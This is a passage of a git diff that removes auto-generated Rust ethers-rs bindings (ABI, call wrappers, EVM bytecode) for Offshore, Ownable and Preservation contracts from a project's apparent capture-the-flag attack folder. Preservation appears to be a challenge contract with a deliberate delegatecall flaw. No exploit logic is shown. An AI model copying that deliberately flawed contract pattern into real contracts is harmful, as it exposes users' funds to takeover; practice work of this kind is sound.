b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90U`\xC3\x80a\x001`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14`7W\x80c\xB6\x9E\xF8\xA8\x14`\x80W[`\0\x80\xFD[`\0T`V\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`@QG\x81R` \x01`wV\xFE\xA2dipfsX\"\x12 \xB2;\xCB+\x82Gs^\x8Cs\xE8\xD8!\xBC\xC7\xD7<\xA8\xFE\x9C\xF5\x80\x1Ae\x99T\0\x9D\x953\xB5\x99dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static OFFSHORE_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14`7W\x80c\xB6\x9E\xF8\xA8\x14`\x80W[`\0\x80\xFD[`\0T`V\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`@QG\x81R` \x01`wV\xFE\xA2dipfsX\"\x12 \xB2;\xCB+\x82Gs^\x8Cs\xE8\xD8!\xBC\xC7\xD7<\xA8\xFE\x9C\xF5\x80\x1Ae\x99T\0\x9D\x953\xB5\x99dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static OFFSHORE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Offshore(::ethers::contract::Contract); - impl ::core::clone::Clone for Offshore { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Offshore { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Offshore { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Offshore { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Offshore)) - .field(&self.address()) - .finish() - } - } - impl Offshore { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - OFFSHORE_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - OFFSHORE_ABI.clone(), - OFFSHORE_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `balance` (0xb69ef8a8) - /// function - pub fn balance( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([182, 158, 248, 168], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Offshore - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `balance` function with signature `balance()` and - /// selector `0xb69ef8a8` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balance", abi = "balance()")] - pub struct BalanceCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum OffshoreCalls { - Balance(BalanceCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for OffshoreCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Balance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for OffshoreCalls { - fn encode(self) -> Vec { - match self { - Self::Balance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for OffshoreCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Balance(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for OffshoreCalls { - fn from(value: BalanceCall) -> Self { Self::Balance(value) } - } - impl ::core::convert::From for OffshoreCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `balance` function with signature `balance()` and - /// selector `0xb69ef8a8` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceReturn { - pub balanceee: ::ethers::core::types::U256, - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/ownable.rs b/attack/src/abi/ownable.rs deleted file mode 100644 index 9dced8a..0000000 --- a/attack/src/abi/ownable.rs +++ /dev/null @@ -1,434 +0,0 @@ -pub use ownable::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod ownable { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("isOwner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("isOwner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::Some(true), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::Some(true), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("renounceOwnership"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("renounceOwnership"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transferOwnership"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transferOwnership"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("newOwner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("OwnershipTransferred"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned( - "OwnershipTransferred", - ), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("previousOwner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("newOwner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ], - anonymous: false, - }, - ], - ), - ]), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static OWNABLE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - pub struct Ownable(::ethers::contract::Contract); - impl ::core::clone::Clone for Ownable { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Ownable { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Ownable { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Ownable { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Ownable)) - .field(&self.address()) - .finish() - } - } - impl Ownable { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - OWNABLE_ABI.clone(), - client, - )) - } - ///Calls the contract's `isOwner` (0x8f32d59b) - /// function - pub fn is_owner( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([143, 50, 213, 155], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `renounceOwnership` - /// (0x715018a6) function - pub fn renounce_ownership( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([113, 80, 24, 166], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transferOwnership` - /// (0xf2fde38b) function - pub fn transfer_ownership( - &self, - new_owner: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([242, 253, 227, 139], new_owner) - .expect("method not found (this should never happen)") - } - ///Gets the contract's `OwnershipTransferred` event - pub fn ownership_transferred_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - OwnershipTransferredFilter, - > { - self.0.event() - } - /// Returns an `Event` builder for all the events of - /// this contract. - pub fn events( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - OwnershipTransferredFilter, - > { - self.0.event_with_filter(::core::default::Default::default()) - } - } - impl - From<::ethers::contract::Contract> for Ownable - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent( - name = "OwnershipTransferred", - abi = "OwnershipTransferred(address,address)" - )] - pub struct OwnershipTransferredFilter { - #[ethevent(indexed)] - pub previous_owner: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub new_owner: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `isOwner` function with signature `isOwner()` and - /// selector `0x8f32d59b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "isOwner", abi = "isOwner()")] - pub struct IsOwnerCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `renounceOwnership` function with signature - /// `renounceOwnership()` and selector `0x715018a6` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "renounceOwnership", abi = "renounceOwnership()")] - pub struct RenounceOwnershipCall; - ///Container type for all input parameters for the - /// `transferOwnership` function with signature - /// `transferOwnership(address)` and selector - /// `0xf2fde38b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "transferOwnership", abi = "transferOwnership(address)")] - pub struct TransferOwnershipCall { - pub new_owner: ::ethers::core::types::Address, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum OwnableCalls { - IsOwner(IsOwnerCall), - Owner(OwnerCall), - RenounceOwnership(RenounceOwnershipCall), - TransferOwnership(TransferOwnershipCall), - } - impl ::ethers::core::abi::AbiDecode for OwnableCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::IsOwner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::RenounceOwnership(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::TransferOwnership(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for OwnableCalls { - fn encode(self) -> Vec { - match self { - Self::IsOwner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::RenounceOwnership(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TransferOwnership(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for OwnableCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::IsOwner(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::RenounceOwnership(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferOwnership(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for OwnableCalls { - fn from(value: IsOwnerCall) -> Self { Self::IsOwner(value) } - } - impl ::core::convert::From for OwnableCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From for OwnableCalls { - fn from(value: RenounceOwnershipCall) -> Self { - Self::RenounceOwnership(value) - } - } - impl ::core::convert::From for OwnableCalls { - fn from(value: TransferOwnershipCall) -> Self { - Self::TransferOwnership(value) - } - } - ///Container type for all return fields from the - /// `isOwner` function with signature `isOwner()` and - /// selector `0x8f32d59b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct IsOwnerReturn(pub bool); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/preservation.rs b/attack/src/abi/preservation.rs deleted file mode 100644 index 79d4445..0000000 --- a/attack/src/abi/preservation.rs +++ /dev/null @@ -1,546 +0,0 @@ -pub use preservation::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod preservation { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned( - "_timeZone1LibraryAddress", - ), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned( - "_timeZone2LibraryAddress", - ), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("setFirstTime"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("setFirstTime"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_timeStamp"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("setSecondTime"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("setSecondTime"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_timeStamp"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("timeZone1Library"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("timeZone1Library"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("timeZone2Library"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("timeZone2Library"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static PRESERVATION_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x03\x8B8\x03\x80a\x03\x8B\x839\x81\x01`@\x81\x90Ra\0/\x91a\0\x8CV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x92\x90\x93\x16\x91\x81\x16\x91\x90\x91\x17\x90\x91U`\x02\x80T\x90\x91\x163\x17\x90Ua\0\xBFV[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x87W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\0\x9FW`\0\x80\xFD[a\0\xA8\x83a\0pV[\x91Pa\0\xB6` \x84\x01a\0pV[\x90P\x92P\x92\x90PV[a\x02\xBD\x80a\0\xCE`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0gW`\x005`\xE0\x1C\x80c[\xDA\x8F\xA4\x11a\0PW\x80c[\xDA\x8F\xA4\x14a\0\xD5W\x80c\x8D\xA5\xCB[\x14a\0\xEAW\x80c\xF1\xE0& \x14a\x01\nW`\0\x80\xFD[\x80c'\xD6\x97O\x14a\0lW\x80c=\xC7\x94\"\x14a\0\xB5W[`\0\x80\xFD[`\x01Ta\0\x8C\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x8C\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xE8a\0\xE36`\x04a\x02?V[a\x01\x1DV[\0[`\x02Ta\0\x8C\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xE8a\x01\x186`\x04a\x02?V[a\x01\xEBV[`\x01T`@Q\x7F;\xEB&\xC4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0` \x82\x01R`$\x81\x01\x83\x90Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90`D\x01[`@\x80Q\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x81\x84\x03\x01\x81R\x90\x82\x90Ra\x01\xA5\x91a\x02XV[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01\xE0W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\xE5V[``\x91P[PPPPV[`\0T`@Q\x7F;\xEB&\xC4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0` \x82\x01R`$\x81\x01\x83\x90Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90`D\x01a\x01mV[`\0` \x82\x84\x03\x12\x15a\x02QW`\0\x80\xFD[P5\x91\x90PV[`\0\x82Q`\0[\x81\x81\x10\x15a\x02yW` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x02_V[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 |\xA9\xD5)\xB9\x89\x83~<|\xDA=z\x99\xEF\xD9\xC5_\x1A\x8F\xF5j\xE8\xA3\xE94\xA6yV\x94\xC2\xB0dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static PRESERVATION_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0gW`\x005`\xE0\x1C\x80c[\xDA\x8F\xA4\x11a\0PW\x80c[\xDA\x8F\xA4\x14a\0\xD5W\x80c\x8D\xA5\xCB[\x14a\0\xEAW\x80c\xF1\xE0& \x14a\x01\nW`\0\x80\xFD[\x80c'\xD6\x97O\x14a\0lW\x80c=\xC7\x94\"\x14a\0\xB5W[`\0\x80\xFD[`\x01Ta\0\x8C\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x8C\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xE8a\0\xE36`\x04a\x02?V[a\x01\x1DV[\0[`\x02Ta\0\x8C\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[a\0\xE8a\x01\x186`\x04a\x02?V[a\x01\xEBV[`\x01T`@Q\x7F;\xEB&\xC4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0` 